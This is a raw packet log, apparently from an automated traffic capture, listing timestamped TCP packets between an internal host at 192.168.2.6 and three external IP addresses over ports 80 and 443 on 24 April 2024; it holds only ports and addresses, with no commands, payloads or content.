Apr 24, 2024 09:17:05.058526993 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.058573961 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.058617115 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.058648109 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.058703899 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.059412956 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.059472084 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.059557915 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.059576988 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.059588909 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.059617043 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.059629917 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.059633970 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.059668064 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.059700966 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.059737921 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.059799910 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.059883118 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.059923887 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.059957027 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.060004950 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.060025930 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.060091019 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.060133934 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.060214996 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.060250998 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.060935020 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.060981035 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.061012030 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.061048985 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.061083078 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.061127901 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.061166048 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.061209917 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.061248064 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.061300039 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.061383963 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.061404943 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.061424971 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.061459064 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.061497927 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.061542034 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.061583042 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.061635017 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.061706066 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.061743975 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.062247992 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.062299013 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.062302113 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.062342882 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.062376022 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.062463045 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.062505007 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.062535048 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.062576056 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.062628031 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.062719107 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.062733889 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.062757969 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.062797070 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.062835932 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.062855959 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.062882900 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.062894106 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.062918901 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.062952042 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.063011885 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.063019991 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.063055038 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.063538074 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.063586950 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.063590050 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.063635111 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.063698053 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.063762903 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.063776016 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.063802004 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.063851118 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.063941956 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.063981056 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.064011097 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.064130068 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.064140081 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.064174891 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.064194918 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.064280987 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.064461946 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.064498901 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.064537048 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.064625025 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.064659119 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.064671040 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.064735889 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.064780951 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.064856052 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.064893961 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.064929008 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.064949036 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.064970016 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.064996958 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.092139006 CEST	443	49707	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:05.167877913 CEST	49705	80	192.168.2.6	200.45.93.45
Apr 24, 2024 09:17:05.513969898 CEST	80	49705	200.45.93.45	192.168.2.6
Apr 24, 2024 09:17:05.701520920 CEST	443	49707	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:05.701608896 CEST	443	49707	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:05.701697111 CEST	49707	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:05.704133034 CEST	49707	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:06.606040955 CEST	49707	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:06.606082916 CEST	443	49707	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:07.346101999 CEST	49708	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:07.346203089 CEST	443	49708	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:07.346287012 CEST	49708	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:07.347717047 CEST	49708	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:07.347733021 CEST	443	49708	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:08.003362894 CEST	443	49708	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:08.003446102 CEST	49708	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:08.051223040 CEST	49708	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:08.051240921 CEST	443	49708	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:08.056485891 CEST	49708	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:08.056494951 CEST	443	49708	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:08.221749067 CEST	49709	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:17:08.221791983 CEST	443	49709	172.67.139.220	192.168.2.6
Apr 24, 2024 09:17:08.221878052 CEST	49709	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:17:08.324966908 CEST	49709	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:17:08.324995041 CEST	443	49709	172.67.139.220	192.168.2.6
Apr 24, 2024 09:17:08.662909031 CEST	443	49709	172.67.139.220	192.168.2.6
Apr 24, 2024 09:17:08.663011074 CEST	49709	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:17:08.668761969 CEST	49709	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:17:08.668785095 CEST	443	49709	172.67.139.220	192.168.2.6
Apr 24, 2024 09:17:08.669192076 CEST	443	49709	172.67.139.220	192.168.2.6
Apr 24, 2024 09:17:08.669251919 CEST	49709	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:17:08.671559095 CEST	49709	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:17:08.716114998 CEST	443	49709	172.67.139.220	192.168.2.6
Apr 24, 2024 09:17:09.082000017 CEST	443	49708	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:09.082180977 CEST	49708	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:09.082214117 CEST	443	49708	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:09.082236052 CEST	443	49708	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:09.082299948 CEST	49708	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:09.082395077 CEST	49708	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:09.082412004 CEST	443	49708	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:09.100220919 CEST	49711	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:09.100301027 CEST	443	49711	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:09.100442886 CEST	49711	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:09.100732088 CEST	49711	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:09.100766897 CEST	443	49711	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:09.450973988 CEST	443	49709	172.67.139.220	192.168.2.6
Apr 24, 2024 09:17:09.451064110 CEST	49709	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:17:09.451097965 CEST	443	49709	172.67.139.220	192.168.2.6
Apr 24, 2024 09:17:09.451148033 CEST	49709	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:17:09.451154947 CEST	443	49709	172.67.139.220	192.168.2.6
Apr 24, 2024 09:17:09.451196909 CEST	49709	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:17:09.451205015 CEST	443	49709	172.67.139.220	192.168.2.6
Apr 24, 2024 09:17:09.451246977 CEST	49709	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:17:09.451282978 CEST	443	49709	172.67.139.220	192.168.2.6
Apr 24, 2024 09:17:09.451411009 CEST	443	49709	172.67.139.220	192.168.2.6
Apr 24, 2024 09:17:09.451463938 CEST	49709	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:17:09.451947927 CEST	49709	443	192.168.2.6	172.67.139.220
Apr 24, 2024 09:17:09.451961994 CEST	443	49709	172.67.139.220	192.168.2.6
Apr 24, 2024 09:17:09.756829977 CEST	443	49711	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:09.756931067 CEST	49711	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:09.777760029 CEST	49711	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:09.777796030 CEST	443	49711	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:09.780487061 CEST	49711	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:09.780504942 CEST	443	49711	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:10.813394070 CEST	443	49711	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:10.813422918 CEST	443	49711	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:10.813508987 CEST	443	49711	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:10.813524008 CEST	49711	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:10.813602924 CEST	49711	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:10.816540003 CEST	49711	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:10.816584110 CEST	443	49711	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:10.827897072 CEST	49716	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:10.827936888 CEST	443	49716	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:10.828130960 CEST	49716	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:10.828341961 CEST	49716	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:10.828355074 CEST	443	49716	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:11.483541965 CEST	443	49716	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:11.483756065 CEST	49716	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:11.485450029 CEST	49716	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:11.485465050 CEST	443	49716	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:11.501230001 CEST	49716	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:11.501240015 CEST	443	49716	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:12.563771963 CEST	443	49716	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:12.563801050 CEST	443	49716	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:12.563858032 CEST	443	49716	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:12.563878059 CEST	49716	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:12.563940048 CEST	49716	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:12.597315073 CEST	49716	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:12.597337961 CEST	443	49716	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:12.965135098 CEST	49720	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:12.965181112 CEST	443	49720	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:12.965245962 CEST	49720	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:12.966002941 CEST	49720	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:12.966021061 CEST	443	49720	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:13.622642040 CEST	443	49720	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:13.622735977 CEST	49720	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:13.623766899 CEST	49720	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:13.623790979 CEST	443	49720	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:13.637878895 CEST	49720	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:13.637892962 CEST	443	49720	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:13.638020992 CEST	49720	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:13.638041019 CEST	443	49720	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:14.387552977 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:14.387598991 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:14.387681961 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:14.389895916 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:14.389911890 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:14.762226105 CEST	443	49720	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:14.762329102 CEST	49720	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:14.762361050 CEST	443	49720	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:14.762403965 CEST	443	49720	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:14.762413025 CEST	49720	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:14.762454987 CEST	49720	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:14.763411999 CEST	49720	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:14.763427973 CEST	443	49720	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:15.046986103 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:15.047121048 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:15.048136950 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:15.048156977 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:15.083827972 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:15.083847046 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.071923018 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.071991920 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.072014093 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:16.072036028 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.072087049 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:16.072087049 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:16.072133064 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.072211027 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:16.220355988 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.220408916 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.220479965 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:16.220549107 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.220597029 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:16.220623016 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:16.443186045 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.443222046 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.443281889 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:16.443288088 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.443325043 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:16.443335056 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.443367958 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:16.443403006 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:16.588496923 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.588556051 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.588613033 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:16.588685989 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.588727951 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:16.589699030 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:16.704185963 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.704242945 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.704411030 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:16.704411030 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:16.704478025 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.704583883 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:16.781202078 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.781323910 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.781368017 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:16.781399965 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.781423092 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:16.781722069 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:16.838022947 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.838087082 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.838133097 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:16.838150024 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.838181973 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:16.838200092 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:16.909173965 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.909229994 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.909284115 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:16.909303904 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.909337997 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:16.909358025 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:16.974013090 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.974056959 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.974100113 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:16.974113941 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:16.974173069 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.029676914 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.029741049 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.029768944 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.029798985 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.029829979 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.029853106 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.079596043 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.079643965 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.079698086 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.079720020 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.079750061 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.079770088 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.122323990 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.122370958 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.122425079 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.122443914 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.122467041 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.122639894 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.158315897 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.158380032 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.158421993 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.158437014 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.158473015 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.158505917 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.188721895 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.188766956 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.188812971 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.188829899 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.188875914 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.188895941 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.219620943 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.219666958 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.219732046 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.219744921 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.219790936 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.219811916 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.246558905 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.246601105 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.246654034 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.246665001 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.246706963 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.246726990 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.275969028 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.276014090 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.276056051 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.276068926 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.276134968 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.302151918 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.302200079 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.302261114 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.302275896 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.302313089 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.302331924 CEST	49721	443	192.168.2.6	95.217.9.149
Apr 24, 2024 09:17:17.325680017 CEST	443	49721	95.217.9.149	192.168.2.6
Apr 24, 2024 09:17:17.325721979 CEST	443	49721	95.217.9.149	192.168.2.6
